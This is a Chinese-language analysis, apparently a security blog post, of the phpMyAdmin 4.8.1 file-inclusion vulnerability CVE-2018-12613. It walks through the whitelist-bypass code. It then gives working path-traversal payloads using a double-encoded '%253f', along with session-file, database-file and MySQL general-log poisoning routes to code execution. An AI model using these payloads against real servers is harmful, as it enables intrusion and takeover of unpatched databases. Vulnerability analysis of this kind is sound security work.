phpMyAdmin4.8.1文件包含漏洞分析(CVE-2018-12613)

背景

phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库

分析

首先到官网上下载对应版本的源码,打开index.php,找到第54~63行

1
2
3
4
5
6
7
8
9
10
// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}

对接收的参数有以下限制:

1.为字符类型

2.不以index开头

3.不在$target_blacklist中,找到该变量:

$target_blacklist = array (
'import.php', 'export.php'
);

4.调用Core::checkPageValidity来检测,在Core.php中找到该类和方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

return false;
}

首先定义了很多$whitelist:

1
2
3
4
5
6
7
public static $goto_whitelist = array(
'db_datadict.php',
'db_sql.php',
'db_events.php',
'db_export.php',
...
);

之后进行检测参数是否在白名单中,一共检测了三次:

if (in_array($page, $whitelist)) {
            return true;
        }

中间有两次截断,意思为从第一位截取到第一次出现?

$_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );

这样做的意义在于当参数值带有其他参数时,phpMyAdmin也能正确包含文件

这两次截断不同的点在于第二次截断前进行了一次url解码,而这次解码正是该漏洞产生的原因:

$_page = urldecode($page);

我们可以将?进行二次url编码,得到%253f,构造payload:

?target=db_datadict.php%253f/../phpinfo.php

此时,将会绕过检测,并且在进行文件包含时(%253f被自动解码一次):

include db_datadict.php%3f/../phpinfo.php

会把db_datadict.php%3f/当做文件目录,后面../会跳出该目录,最后成功包含phpinfo.php,这个目录与当前的index.php是在同一级目录的

执行结果(需修改phpinfo.php代码):

利用思路

既然可以任意文件包含,那要构造自己的含有恶意代码的文件了,有以下几种思路

思路一

利用MySQL可以读写文件的功能,直接将一句话写入到文件中,或者直接读取服务端文件;这种思路需要有读写文件的权限

思路二

由于phpMyAdmin的session文件会记录用户所执行的操作,那么试着用session文件包含。生成session记录:

测试时session存放的路径为/var/lib/php/sessions/,当前index.php路径为/var/www/html/phpmyadmin/,那么构造poc:

?target=db_datadict.php%253f/../../../../lib/php/sessions/sess_ibcmq247nke49hlvj90ruf1p4k5v4vor

可以看到构造的语句被执行了:

思路三

还可以将数据插入到数据表中,包含这个数据表文件即可

测试时存放的数据位于test数据库下的user表,其存放数据的文件位于/var/lib/mysql/test/user.ibd,构造poc:

?target=db_datadict.php%253f/../../../../lib/mysql/test/user.ibd

数据库文件路径可以使用以下语句查询得到:

select @@datadir;

这种思路如果目录或文件权限不够也是不可行的

思路四

可以利用MySQL的日志文件;MySQL5.0版本有日志功能,查看日志设置:

show variables like "%general%";

其中,general log指定是否开启日志,该功能默认是关闭的;general log file指定日志保存位置

开启general log后,用户输入的MySQL便会被记录到general log file指定的文件中,设置命令:

set global general_log = "ON";
set global general_log_file='/var/lib/mysql/ubuntu.log';

将恶意代码记录到日志中:

包含该日志文件:

该方法也是得有一定的文件读写权限


参考:

https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&mid=2247485036&idx=1&sn=8e9647906c5d94f72564dec5bc51a2ab&chksm=e89e2eb4dfe9a7a28bff2efebb5b2723782dab660acff074c3f18c9e7dca924abdf3da618fb4&mpshare=1&scene=1&srcid=0621gAv1FMtrgoahD01psMZr&pass_ticket=LqhRfckPxAVG2dF%2FjxV%2F9%2FcEb5pShRgewJe%2FttJn2gIlIyGF%2FbsgGmzcbsV%2BLmMK#rd

https://blog.csdn.net/weixin_39190897/article/details/99078864

https://www.freebuf.com/column/207707.html

https://xz.aliyun.com/t/3283#toc-14